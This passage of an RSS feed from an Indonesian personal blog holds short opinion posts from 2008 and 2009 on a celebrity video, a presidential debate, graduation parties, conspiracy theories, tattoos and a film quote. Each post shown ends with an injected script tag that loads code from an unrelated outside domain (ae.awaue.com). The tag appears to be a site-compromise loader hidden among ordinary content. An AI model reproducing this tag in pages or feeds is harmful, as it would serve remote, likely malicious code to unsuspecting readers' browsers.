<p>Ketika denger pertama kali dari <a href="http://choro.wordpress.com">temen</a> kalau ada video Marshanda nangis di YouTube, reaksi pertama saya adalah menelpon <a href="http://tikabanget.com">tiga</a> <a href="http://the.sandalian.com">teman</a> <a href="http://funk.shit.la">saya</a> untuk ngesave video-video yang heboh itu. Waktu itu saya lagi di jalan, padahal video semacam ini pasti akan dihapus kalau sudah tercium media (dan ternyata benar kan?).</p>
<p>Dan video-video itu, akhirnya malah bikin saya sedih. Tanpa alasan yang jelas, mata saya jadi basah-basah sedikit ketika Marshanda nangis <img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_cry.gif' alt='&#58;&#40;&#40;' class='wp-smiley' width='22' height='18' title='&#58;&#40;&#40;' />.</p>
<p>Lalu, apakah seharusnya kita merasa iba?</p>
<p>Seharusnya tidak. Karena dia tetap cantik, bahkan ketika nangis. <em>Hey</em>, semua orang juga pernah sedih, kenapa Marshanda menangis lantas dicap labil? Untuk dibilang labil, muka Marshanda terlalu normal. Adegan dia nari-nari sendiri yang dibilang norak, menurut saya justru lucu. Lucu &#8220;<em>cute</em>&#8221; tentu saja, bukan lucu &#8220;hahaha&#8221;. Artis indonesia harus lebih sering-sering pasang video pribadi mereka di Youtube!</p>
<p>Yang harus hati-hati, Marshanda tidak boleh mengulangi itu lagi, karena ada perbedaan tipis antara orang sedih dan drama queen.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2009/08/haruskah-kita-merasa-iba-untuk-marshanda-nangis.html/feed</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
		<item>
		<title>Review Debat Capres Putaran 1</title>
		<link>http://hermansaksono.com/2009/06/review-debat-capres-putaran-1.html</link>
		<comments>http://hermansaksono.com/2009/06/review-debat-capres-putaran-1.html#comments</comments>
		<pubDate>Fri, 19 Jun 2009 05:44:21 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Politik]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2009/06/review-debat-capres-putaran-1.html</guid>
		<description><![CDATA[Jarang sekali ada debat capres yang memuaskan. Bahkan di negeri Paman Sam, debat capres sering dikritik karena terlalu hambar. Di sana, debat yang monumental bisa dihitung dengan jari. Kita memang selalu terjebak dalam delivery, tepatnya kita mendambakan debat yang mengelegar, tajam, dan juga—terkadang—sesat. Tapi delivery selalu mengaburkan konten. Delivery hanya bungkus, yang harus dicermati pemilih [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright" src="http://hermansaksono.com/wp-content/uploads/2009/06/wpid-tiga-debat.jpg" alt="tiga debat" /></p>
<p>Jarang sekali ada debat capres yang memuaskan. Bahkan di negeri Paman Sam, debat capres sering dikritik karena terlalu hambar. Di sana, debat yang monumental bisa dihitung dengan jari. Kita memang selalu terjebak dalam <em>delivery</em>, tepatnya kita mendambakan debat yang mengelegar, tajam, dan juga—terkadang—sesat.</p>
<p>Tapi <em>delivery</em> selalu mengaburkan konten. Delivery hanya bungkus, yang harus dicermati pemilih adalah isinya. Dari esensi argumentasi kita bisa mengetahui bagaimana capres melihat permasalahan. Langkah-langkah yang mereka tawarkan otomatis menunjukkan pemahamannya atas kompleksitas tiap masalah sekaligus sejauh mana mereka telah berpikir untuk menyelesaikan permasalahan itu sendiri.</p>
<p>Dan malam itu, Megawati nampak gugup. Ia terdengar seperti tidak siap karena sering menghabiskan jeda 1-2 detik tiap akan menjawab pertanyaan. Di tengah pidato nadanya semakin tinggi, seolah tidak nyaman dengan perkataannya sendiri. Argumentasi Mega, walaupun cukup banyak mengidentifikasi masalah, tapi nihil solusi. Contoh-contoh kasus yang tidak tepat—seperti masalah KTP dan pengendara motor yang tidak pakai helm—memberikan kesan kurangnya pengetahuan dan pola pikir sistemik yang wajib dimiliki seorang pemimpin.</p>
<p>SBY tampil lumayan. Ia memang tidak menjanjikan sesuatu yang &#8220;wah&#8221;, tetapi SBY mampu melihat permasalahan secara menyeluruh dan menyajikan solusi yang cukup sistemik. Programnya agak lemah ketika membahas TKI, tapi bagus ketika menyentuh alutista TNI dan lumayan untuk HAM.</p>
<p>JK bisa dibilang mengecewakan, karena ekspektasi kita memang sangat tinggi untuk sosok lincah ini. Ia terdengar kelabakan dan tidak siap ketika memaparkan visinya tentang <em>good governance</em> dan HAM. Solusinya untuk masalah kenegaraaan menunjukkan lemahnya pengetahuan JK tentang gagasan bernegara. Akan tetapi, JK menjanjikan sebuah konsep yang menarik ketika membahas penyelesaian atas masalah TKI.</p>
<p>Walaupun saya berniat mereview konten debat capres tadi malam, tapi dengan segala maaf saya bener-benar tidak tahu berkata apa untuk Mega. Argumentasinya yang sama sekali tidak jelas, memunculkan keraguan apakah Ibu yang satu ini memiliki visi untuk negara ini.</p>
<p>SBY dan JK muncul sebagai pemenang malam itu, walaupun penampilan mereka tidak spektakuler. SBY menunjukkan kapabilitasnya sebagai seorang pemimpin yang melihat permasalahan secara makro, tetapi kurang mengeri permasalahan pada skala mikro. JK justru sebaliknya, ia seperti tidak paham konsep-konsep bernegara, tetapi juara ketika membahas isu-isu yang dekat dengan keseharian kita.</p>
<p>Keduanya memang seperti kombinasi yang ideal dan saling melengkapi. Tapi kita semua tahu kombinasi SBY-JK tidak akan bisa jalan mulus.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2009/06/review-debat-capres-putaran-1.html/feed</wfw:commentRss>
		<slash:comments>42</slash:comments>
		</item>
		<item>
		<title>Pada Sebuah Poster Ketika Cinta Bertasbih&#8230;</title>
		<link>http://hermansaksono.com/2009/06/pada-sebuah-poster-ketika-cinta-bertasbih.html</link>
		<comments>http://hermansaksono.com/2009/06/pada-sebuah-poster-ketika-cinta-bertasbih.html#comments</comments>
		<pubDate>Wed, 17 Jun 2009 04:30:22 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[movies]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2009/06/pada-sebuah-poster-kala-cinta-bertasbih.html</guid>
		<description><![CDATA[So what kalau Mesir asli?]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-843" title="img_01551" src="http://hermansaksono.com/wp-content/uploads/2009/06/img_01551-375x500.jpg" alt="img_01551" width="375" height="500" /></p>
<p><em>So what</em> kalau Mesir asli?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2009/06/pada-sebuah-poster-ketika-cinta-bertasbih.html/feed</wfw:commentRss>
		<slash:comments>81</slash:comments>
		</item>
		<item>
		<title>Merayakan Kelulusan</title>
		<link>http://hermansaksono.com/2009/06/merayakan-kelulusan.html</link>
		<comments>http://hermansaksono.com/2009/06/merayakan-kelulusan.html#comments</comments>
		<pubDate>Mon, 15 Jun 2009 06:12:26 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=840</guid>
		<description><![CDATA[Usai dinyatakan lulus ujian nasional, ribuan—atau mungkin puluhan ribu—anak SMA berpesta. Mereka merayakan prestasi tersebut dengan mencoret-coret baju hingga arak-arakan di jalan. Yang mereka lupakan, lulus SMA adalah sepotong kecil yang remeh dalam hidup. Sehabis itu, sebagian besar dari mereka harus kuliah, mengikuti praktikum, kerja lapangan, hingga membuat skripshit. Yang langsung kerja-pun harus memulai rutinitas [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-841" title="coret1" src="http://hermansaksono.com/wp-content/uploads/2009/06/coret1-380x253.jpg" alt="coret1" width="380" height="253" /></p>
<p>Usai dinyatakan lulus ujian nasional, ribuan—atau mungkin puluhan ribu—anak SMA berpesta. Mereka merayakan prestasi tersebut dengan mencoret-coret baju hingga arak-arakan di jalan.</p>
<p>Yang mereka lupakan, lulus SMA adalah sepotong kecil yang remeh dalam hidup. Sehabis itu, sebagian besar dari mereka harus kuliah, mengikuti praktikum, kerja lapangan, hingga membuat skripshit. Yang langsung kerja-pun harus memulai rutinitas baru seperti mematuhi perintah juragan yang ngeselin dan mengerjakan rutinitas yang menjemukan.</p>
<p>Kelulusan SMA adalah pintu ke jenjang baru yang sebetulnya biasa-biasa aja, atau bahkan lebih tidak menyenangkan.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2009/06/merayakan-kelulusan.html/feed</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
		<item>
		<title>Teori Konspirasi</title>
		<link>http://hermansaksono.com/2008/11/teori-konspirasi.html</link>
		<comments>http://hermansaksono.com/2008/11/teori-konspirasi.html#comments</comments>
		<pubDate>Wed, 12 Nov 2008 04:28:49 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Politik]]></category>
		<category><![CDATA[society]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=599</guid>
		<description><![CDATA[Kecantikan angin puting beliung di UGM hari Jum’at lalu berbiaya mahal. Cabikannya pada kompleks UGM menelan kerugian hingga 12 Milyar Rupiah. Itu belum termasuk kerugian pengusaha-pengusaha kecil yang gerobak dan dagangannya ikut rusak terkoyak angin. Mereka harus kembali merogoh saku untuk memodali kerusakan-kerusakan itu. Civitas akademika juga harus mengalah, kegiatan akademik dan fasilitas pendukung harus [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2008/11/marionette.gif"><img class="aligncenter size-full wp-image-600" title="marionette" src="http://hermansaksono.com/wp-content/uploads/2008/11/marionette.gif" alt="" width="366" height="467" /></a>Kecantikan <a href="http://hermansaksono.com/2008/11/puting-beliung-ugm.html">angin puting beliung di UGM</a> hari Jum’at lalu berbiaya mahal. Cabikannya pada kompleks UGM menelan kerugian hingga <a href="http://www.ugm.ac.id/index.php?page=rilis&amp;artikel=1612">12 Milyar Rupiah</a>. Itu belum termasuk kerugian pengusaha-pengusaha kecil yang gerobak dan dagangannya ikut rusak terkoyak angin. Mereka harus kembali merogoh saku untuk memodali kerusakan-kerusakan itu. Civitas akademika juga harus mengalah, kegiatan akademik dan fasilitas pendukung harus tertunda untuk sementara.</p>
<p>Bencana kemarin lantas dikaitkan dengan UGM yang dibilang sudah tidak merakyat lagi, dikaitkan dengan SPP UGM yang terlalu mahal, dan dikaitkan dengan sengketa tanah dengan UGM. Takhayul atau bukan, mengkaitkan satu kejadian dengan kejadian lain itu memang bakat manusia. Tapi harus hati-hati: kesimpulan salah yang dikoarkan berulang-ulang bisa [dikira] benar.</p>
<p>Kalangan intelektualpun sebetulnya juga sering bertukar takhayul. Mereka menyebutnya teori konspirasi. Topiknya bukan alam, tapi kejadian-kejadian di sekeliling kita. Boleh soal FPI, Menteri, SBY, dll. Tapi itu tidak salah: menganalisis itu tidak salah dan tidak pernah salah. Yang bikin salah adalah jika sumber informasinya sumir dan abal-abal. Ini jenis informasi yang jika ditanya: “Kok nggak masuk media?”, akan dijawab dengan: “Media juga ikut berkonspirasi!”</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2008/11/marionette2.gif"><img class="alignright size-full wp-image-601" title="marionette2" src="http://hermansaksono.com/wp-content/uploads/2008/11/marionette2.gif" alt="" width="146" height="293" /></a>Nah kalau gini kan berabe, bagaimana informasi itu bisa dipercaya, kalau sumber informasinya tidak ada? Akan teteapi, tetap saja teori-teori itu menjadi obrolan yang asyik untuk menemani seruputan kopi atau teh anget.</p>
<p>Lalu kenapa kita begitu menikmati teori konspirasi? Mengapa sebuah obrolan intelekpun harus dilengkapi dengan bumbu-bumbu teori konspirasi? Jawabannya adalah, teori konspirasi memberikan logika kenapa kita tidak bisa menyelesaikan persoalan-persoalan kita. Teori ini melimpahkan kegagalan kita kepada orang lain, atau kekuatan lain. Teori konspirasi, dengan enteng, membebaskan kita dari tanggung jawab.</p>
<p>Lagi-lagi ini tidak salah. Tapi kalau kita salah mengidentifikasi penyebab sebuah permasalahan, dipastikan kita tidak akan pernah menyelesaikan permasalahan itu.
<p>&nbsp;</p>
<p class="seealso">Menurut staf pengajar Fakultas Geografi UGM, Dr. Sudibyakto, angin puting beliung tersebut <a href="http://www.ugm.ac.id/index.php?page=rilis&amp;artikel=1614">disebabkan oleh</a> perbedaan suhu udara akibat penggunaan lahan dan polusi udara.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2008/11/teori-konspirasi.html/feed</wfw:commentRss>
		<slash:comments>40</slash:comments>
		</item>
		<item>
		<title>Tatoo</title>
		<link>http://hermansaksono.com/2008/09/tatoo.html</link>
		<comments>http://hermansaksono.com/2008/09/tatoo.html#comments</comments>
		<pubDate>Tue, 02 Sep 2008 18:57:22 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=569</guid>
		<description><![CDATA[Adalah jadul kalau berpersepsi tatoo itu domain preman dan napi. Jaman sekarang tatto adalah pernyataan berbusana bung! Kalau sanggup, saya mau punya tatoo. Masalahnya, saya tidak sanggup. Mengapa? Karena tatoo itu komitmen abadi untuk dunia yang selalu berubah. Bagaimana jika saya bosan? Atau desain tatoonya sudah mulai katro dan pasaran. Ganti mobil atau ganti istri [...]]]></description>
			<content:encoded><![CDATA[<p><img class="center" src="http://img220.imageshack.us/img220/8470/tatoogc2.jpg" alt="" /></p>
<p>Adalah jadul kalau berpersepsi tatoo itu domain preman dan napi. Jaman sekarang tatto adalah pernyataan berbusana bung! Kalau sanggup, saya mau punya tatoo. Masalahnya, saya tidak sanggup. Mengapa? Karena tatoo itu komitmen abadi untuk dunia yang selalu berubah. Bagaimana jika saya bosan? Atau desain tatoonya sudah mulai katro dan pasaran. Ganti mobil atau ganti istri urusan gampang. Ganti tatoo, nyaris mustahil. Bahkan ganti agama lebih mudah.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2008/09/tatoo.html/feed</wfw:commentRss>
		<slash:comments>59</slash:comments>
		</item>
		<item>
		<title>Tentang Gagasan</title>
		<link>http://hermansaksono.com/2008/06/tentang-gagasan.html</link>
		<comments>http://hermansaksono.com/2008/06/tentang-gagasan.html#comments</comments>
		<pubDate>Wed, 11 Jun 2008 03:08:00 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/2008/06/tentang-gagasan.html</guid>
		<description><![CDATA[Evey Hammond pernah menyaksikan sendiri keagungan sebuah gagasan. Dengan mata dan kepalanya ia menyaksikan orang membunuh atas nama sebuah gagasan, dan mati membelanya. Tetapi kita takkan bisa mengecup gagasan, takkan mungkin merabanya, atau memegangnya&#8230; gagasan tidak bisa dilukai, ia tidak merasakan perih. Ia tak merasakan cinta. Kita bisa membunuh orang karena gagasannya. Tetapi gagasan tidak [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.imdb.com/character/ch0002906/">Evey Hammond</a> pernah menyaksikan sendiri keagungan sebuah gagasan. Dengan mata dan kepalanya ia menyaksikan orang membunuh atas nama sebuah gagasan, dan mati membelanya.</p>
<p>Tetapi kita takkan bisa mengecup gagasan, takkan mungkin merabanya, atau memegangnya&#8230; gagasan tidak bisa dilukai, ia tidak merasakan perih. Ia tak merasakan cinta.</p>
<p>Kita bisa membunuh orang karena gagasannya. Tetapi gagasan tidak bisa dimatikan, karena ia tahan sabetan pedang dan belaian peluru panas.</p>
<p>—V for Vendetta<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2008/06/tentang-gagasan.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
	</channel>
</rss>
